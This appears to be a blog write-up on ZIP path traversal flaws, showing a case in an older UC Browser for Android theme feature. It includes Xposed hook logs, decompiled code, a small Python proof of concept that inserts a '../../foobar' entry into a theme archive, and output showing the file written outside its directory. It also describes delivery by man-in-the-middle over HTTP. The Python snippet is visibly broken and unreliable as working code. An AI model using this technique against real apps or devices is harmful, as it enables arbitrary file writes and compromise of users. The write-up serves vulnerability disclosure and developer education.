ZipInputStream Armageddon


For those who are not aware of the ZipInputStream Armageddon, it is happening right now ... and yes, it is just as bad as the movie.

Ben Affleck LULZ





The ZipInputStream vulnerability pattern breaks down into the insecure handling of ZIP archives that are ultimately controlled by an attacker, which can result in a path traversal and the ability to write arbitrary data. The above references you should give you plenty of context into what that actually looks like. Now this certainly isn't a blog post where I feel like getting on my soap box and scream about the benefits of developers investing a little bit of effort in securely building applications, so I'll just leave this here instead:

We should also be careful of following into what I call the "stackoverflow" syndrome of reusing potentially problematic code:

There are enough published bugs so far that adequately demonstrate the kind of impact this vulnerability carries, but I would look to show you another example to prove even more that this issue seems to be absolutely everywhere.

UC Browser for Android

In an older version of this browser, there was a feature that would allow a user to download and apply a custom theme. This already sounds familiar .. The theme file itself has a custom extension called "uct", but is just a simple ZIP archive.

[~/R&D/uc-browser]> file Deep-Midnight.uct
Deep-Midnight.uct: Zip archive data, at least v1.0 to extract  

When themes are downloaded by the UC Browser, they are first stored on external storage, then copied to the browser's data directory. I already know what you're about to ask, and yes, the browser downloads these themes over HTTP. However, the more interesting feature is the ability to add a new theme directory from your phone.

Add Theme

Local Storage

Through instrumentation we can identify where the theme handling functionality is implemented for extracting and applying the ZIP contents.

I/Xposed  ( 4803): com.UCMobile.intl : : getInputStream : zipEntry : Orange-Popsicle/config.cfg  
I/Xposed  ( 4803): com.UCMobile.intl : : getInputStream : StackTrace : : a  
I/Xposed  ( 4803): com.UCMobile.intl : : getInputStream : StackTrace : com.uc.browser.core.skinmgmt.aa : e  
I/Xposed  ( 4803): com.UCMobile.intl : : getInputStream : StackTrace : com.uc.browser.core.skinmgmt.aa : handleMessage  

Now we can use this information and leverage Lobotomy's surgicalAPI in order to statically validate whether a bug potentially exists.

I/Xposed  ( 4803): com.UCMobile.intl : : getNextEntry : Hooked!  
I/Xposed  ( 4803): com.UCMobile.intl : : getNextEntry : zipEntry : Orange-Popsicle/color.xml  
I/Xposed  ( 4803): com.UCMobile.intl : : getNextEntry : StackTrace : com.uc.framework.c.ak : a  
I/Xposed  ( 4803): com.UCMobile.intl : : getNextEntry : StackTrace : : a  
v0 = v4.append(v0).append("config.cfg").toString();  
                v4 = new;
                v0 = v4.getEntry(v0);
                if(v0 != 0) {
                    v7 = v4.getInputStream(v0);
                } else {
                    v7 = 0;

To make a long story short, the UC Browser grabs each file within the ZIP stream by calling getNextEntry() and writes them to the appropriate directory inside of /data/data/com.UCMobile.intl/downTheme/theme/Orange-Popsicle
There is absolutely no validation of the ZIP contents.

[email protected]:/data/data/com.UCMobile.intl/downTheme/theme/Orange-Popsicle #  
ls -la  
-rw------- u0_a76   u0_a76       4736 2015-11-12 14:57 color.xml
-rw------- u0_a76   u0_a76        317 2015-11-12 14:57 config.cfg

An attacker can approach exploiting this vulnerability from a few different angles. They can either inject a malicious theme into the download functionality's HTTP response through a Man-in-the-Middle attack, or force a user into downloading a malicious theme and hope they use the browser's ability to apply themes from local storage.

First we need to inject a path traversal into the ZIP archive and push it to the device.

import zipfile  
import sys

if __name__ == "__main__":  
        zipFile = zipfile.ZipFile(sys.argv[1], "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo(sys.argv[1])
        zipFile.writestr("../../foobar", "foobar")
    except IOError as e:
        raise e
[~/R&D/uc-browser]> python Deep-Midnight.uct
┌[[email protected]] [/dev/ttys003]
└[~/R&D/uc-browser]> unzip -l Deep-Midnight.uct
      616  01-21-15 15:27   Deep-Midnight/drawable/webAppFullScreenBtnIcon.png
     2848  01-21-15 15:27   Deep-Midnight/drawable/window_1.png
     1368  01-21-15 15:27   Deep-Midnight/drawable/window_1_patchdrawable.xml
        6  11-12-15 15:30   ../../foobar

Once we choose and apply the theme from external storage, we should be able to observe our successfully written data.

Malicious Theme

[email protected]:/data/data/com.UCMobile.intl # ls  
foobar <- Success!  


Again, again, again .. and again these bugs are turning up because of the general lack of validation occurring on the ZIP contents. In most cases this is probably due to the fact that developers are making assumptions that these ZIP files are not being tampered with, and therefore don't really consider the ramifications.